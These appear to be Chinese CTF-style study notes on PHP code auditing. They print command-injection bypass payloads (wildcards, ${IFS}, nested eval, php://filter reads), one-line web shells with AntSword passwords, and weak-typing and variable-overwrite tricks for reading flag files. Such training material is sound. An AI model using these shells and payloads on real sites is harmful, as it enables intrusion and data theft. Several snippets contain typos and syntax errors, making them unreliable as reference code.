网络安全学习笔记——代码审计/REC

一、代码审计

<?php
error_reporting(0);      //降低敏感性,让页面不报错
if(isset($_GET['c'])){     //如果存在GET传输的一个c参数
    $c=$_GET['c'];       //c等于GET传输的c
    if(!preg_match("/flag/i",$c)){   //如果正则匹配到flag的话,就不执行下一句
        eval($c);     
    }     //感叹号为负,if里面要是真命题才会执行eval($c),所以不能匹配到flag

      也就是说,c里面有flag就不会执行eval($c)

      1、可使用c=phoinfo(),c=system(),c=system("ls/tmp"),c=system("cat/tmp/flag.php")
此时不会成功,因为过滤了flag,可使用通配符?绕过,也可使用 * 

      2、也可传c=eval($_GET[w]);&w=system("cat/tmp/flag.php");flag对c过滤,c和w被&分开了
eval用于执行代码层面的(字符串)命令,相当于eval("eval($_GET[w])");所以会按照代码执行
如果消掉里层的eval,就只是接收一个GET的值,不会进行任何操作

      3、也可直接传c=system($_GET[w]);&w=cat/tmp/flag.php;

      4、以base64编码带出,然后解码即可
      c=include($_GET[w]);&w=php.//filter/convert.base64-encode/resource=/tmp/flag.php;

      5、c=echo`ls`; 反引号在PHP中用于执行操作系统层面内容,与system同级,但反引号结果不回显

          //tmp是临时文件,一般来说,可读可写
}else{
    highlight_file(_FILE_);    
}
通杀解法
c=eval($_GET[w]);&w=phpinfo();

c=eval($_GET[w]);&w=system("cat/tmp/flag.php"); eval可改为system,include

二、命令执行payload变形

<?php
error_reporting(0);      //降低敏感性,让页面不报错
if(isset($_GET['c'])){     //如果存在GET传输的一个c参数
    $c=$_GET['c'];       //c等于GET传输的c
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i",$c)){   
//如果正则匹配到flag的话,就不执行下一句

1、过滤的关键字及符号很多,可以直接通杀
//c=eval($_GET[w]);&w=phpinfo();
//c=eval($_GET[w]);&w=system("cat/tmp/flag.php"); eval可改为system,include
        
2、高阶解法————%09是PHP代码层面的,$IFS$9是在操作系统使用的
//c=echo%09`more%09/tmp/fl*`; c=echo%09`tac%09/tmp/fl*`; strings也可以使用  

        eval($c);     
    }
}else{
    highlight_file(_FILE_);    //
}

三、命令执行和通配符绕过

<?php
error_reporting(0);      //降低敏感性,让页面不报错
if(isset($_GET['c'])){     //如果存在GET传输的一个c参数
    $c=$_GET['c'];       //c等于GET传输的c
    if(!preg_match("/\;|cat|flag|[0-9]|\*|more|less|wget|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\'|\%|\x09|\x26|\>|\<|/i",$c)){   
//如果正则匹配到flag的话,就不执行下一句

        eval($c); 
        $d=system($c);
        echo"<br>".$d;
    }else{
        echo'no';

}else{
    highlight_file(_FILE_);   
}

虽然过滤很多,仍能读取到flag文本,根据限制选择合适方式绕过即可——http://123.60.47.130:10031/rec/rec3.php?c=cat/${IFS}/tmp/fl?a.php,其中cat被过滤,可使用绝对路径然后就可以使用通配符——?c=/bin/c?t/${IFS}/tmp/fl?a.php

linux万物皆文件,bin命令下也有很多的命令,其本质仍为文件,只是被赋予了可执行的权限

四、php中读文件&命令执行函数

system()函数

    蚁剑连接密码:nosery
    <?php
    echo "<pre>";
    system($_POST["nosery"]);
    ?>

exec()函数(PTE考点)

无回显,需要echo()打印;如果不打印也可重定向同级目录下的1.txt——重定向有两种:> 是覆盖,>> 是追加

<?php
exec(command:"ls" >> 1.txt);
?>

passthru()函数(与system同级)

passthru — 执行外部程序并且显示原始输出
蚁剑连接密码:cmd

<?php
@passthru($_POST['cmd']);
?>
cmd=ipconfig 即可显示信息

shell_exec()函数

shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回
蚁剑连接密码:cmd

<?php
echo "shell_exec($_POST['cmd'])";
?>

无回显,shell_exec(cmd:"ls");

ls()函数(与system同级)

读文件函数——直接读取flag,点击页面源代码

<?php
echo file_get_content("flag.php");
?>

文件高亮,读文件

五、intval()函数绕过

<?php
include("flag.php");
highlight_file(_FILE_);  //高亮显示——因为有这句话,下面内容才会显示出来

if(isset($_GET['num'])){   //如果存在num,必须GET传输,然后赋值
    $num=$_GET['num'];
    if(preg_match("/[0-9]/",$num)){  //正则匹配,有纯数字,die并输出no no no!
        die("no no no!")
    }

    if(intval($num)){  
        echo$flag;
    }  //intval()函数——用于获取变量的整数值,当num为一个非空数组,intval($num)为1,打印flag
} 

传参为?num[]= —— num是个数组,size为1,下标为0时值为空

作业

<?php
include("flag.php");
highlight_file(_FILE_);  //高亮显示——因为有这句话,下面内容才会显示出来

if(isset($_GET['num'])){   //如果存在num,必须GET传输,然后赋值
    $num=$_GET['num'];
    if(num==="4476")){  //正则匹配,数字值为4476,die并输出no no no!
        die("no no no!")
    }

    if(intval($num,0)===4476){  
        echo$flag;
    }else{
        echo intval($num,0);
    }  
} 

首先判断数字不等于4476——使之执行到flag处,后面判断传参转换后是4476才会出flag
1、可以使用八进制和十六进制转换  ?num=010574  ?num=0x0117c  
2、直接使用小数  ?num=4476.1, ?num=4476w

六、php弱类型特性及审计

php不用和C、Java一样,赋类型和初值,语言越底层速度越快

php 三个等于号和两个等于号(比较)的区别

两个等于号属于弱类型校验,只校验值,不校验类型:4476和4476w一样——强转为int

三个等于号属于强类型校验,值和类型都会校验:4476和4476w不一样——类型不一样

<?php
include("flag.php");
highlight_file(_FILE_);  //高亮显示——因为有这句话,下面内容才会显示出来

if(isset($_POST['a'] and isset($_POST['b'] )){   
if($_POST['a']!=$_POST['b'])
if(md5($_POST['a'])==md5($_POST['b'])) 
echo$flag;
else
print 'wrong.';
} 

a和b不一样,但是md5编码之后一样才会打印flag————md5加密结果不可逆,值不相等的,加密也不会相等
但是md5处理数组都会返回null,eg:md5(a[])就会返回null
所以传输两个不同的数组:?a[]=1&b[]=2

php处理hash字符串时,会利用!=和==来对hash值进行比较,他对每个以0e开头的哈希值解释均为0
两个不同的密码通过哈希值之后均以0e开头的话,php认为他们相同,都为0————0e科学记数法,所有都为0
如——s878926199a、s155964671a、s214587387a等


  • md5相同——md5处理数组都会返回null,eg:md5(a[])就会返回null——a[]=1 & b[]=2
  • php校验相同:对每个以0e开头的哈希值均为0——a=s878926199a & b=s155964671a
  • php校验不同,md5相同————a[]=s878926199a & b[]=s155964671a——强校验时:数组绕过,但数组的值要不一样

非数字绕过123w,弱类型——123456w和123456一样,但在is_numberic下不一样

七、parse_str()函数变量覆盖

parse_str()函数:把查询字符串解析到变量中,一般有两个参数,如果没有第二个参数,那么第一个参数就会成为变量,将会覆盖掉存在的同名变量

1、只有一个参数——按键值对直接赋值

<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
?>

2、有两个参数——按键值对赋值后放入后面参数表示的数组

<?php
parse_str("name=Peter&age=43",$myArray);
print_r($myArray);
?>

例题审计

<?php
highlight_file(_FILE_);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
    $v1=$_POST['v1'];
    $v3=$_GET['v3'];
        parse_str($v1,$v2);  //parse_str有两个参数,属于赋值后放入数组——故v2=v1
        if($v2['flag']==md5($v3)){   

        //由于参与传参的只有v1和v3,所以只要get传的v3和post的v1相同即可拿到flag
        1、?v3=1  v1=flag=md5编码后的1
        2、?v3[]=12345  v1=null  v3传数组,经md5后为空,v1传参也为空,故两者相等

            echo $flag;
        }    

}

八、$$变量覆盖

<?php
highlight_file(_FILE_);
include('flag.php');
error_reporting(0);
$error='你想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){  //foreach()函数:接收所有的GET传参,按照键值对打印出来
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;  // 
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){ 
     //由于不知道flag的值,所以此处必死,然后打印$error——可使error=flag
    die($error);
}
echo "you are good".$flag."\n";
die($suces);
?>

get传参a=1&b=2,$$key=$$value; 则有$a=$$key,得a=$key=1————————$$key=$a=$1
同理$$value=$b=$2
使$a=$c,$c=$d——————同理使flag=xxx=error
a=error
flag=a
对角线赋值——也就是说flag=a=a=error,在不改变顺序的情况下拼接就能相等

代码审计作业

Json(JavaScript Object Notation)格式为:key : value

  • Json的键必须加双引号
  • 值——数字、布尔值、字符串(加双引号)、数组(加中括号)、对象(加大括号)
<?php
show_source(_FILE_);
$v1=0;
$v2=1;

$a=(array)json_decode(@$_GET['w']);  //接收json格式解码后传入数组————故传参也要json格式

if(is_array($a)){
    is_numeric(@$["bar1"])?die("nope"):NULL;

    if(@$a["bar1"]){
        var_dump($a["bar1"]);
        $ww=$a["bar1"]>2020;
        var_dump($ww);
        ($a["bar1"]>2020)?$v1=1:NULL;
    }
    if(is_array(@$a["bar1"])){
        if(count($a["bar2"])!=5 OR !is_array($a["bar"][0]))
            die("nope");
        $pos=array_search("cisp-pte",$a["bar3"]);
        $pos=false ? die("nope"):NULL;
        foreach($a["bar2"]) as $key =>$val){
            $val==="cisp-pte"?die("nope"):NULL;
        } 
        $v2=1;
    }
}?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Nosery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值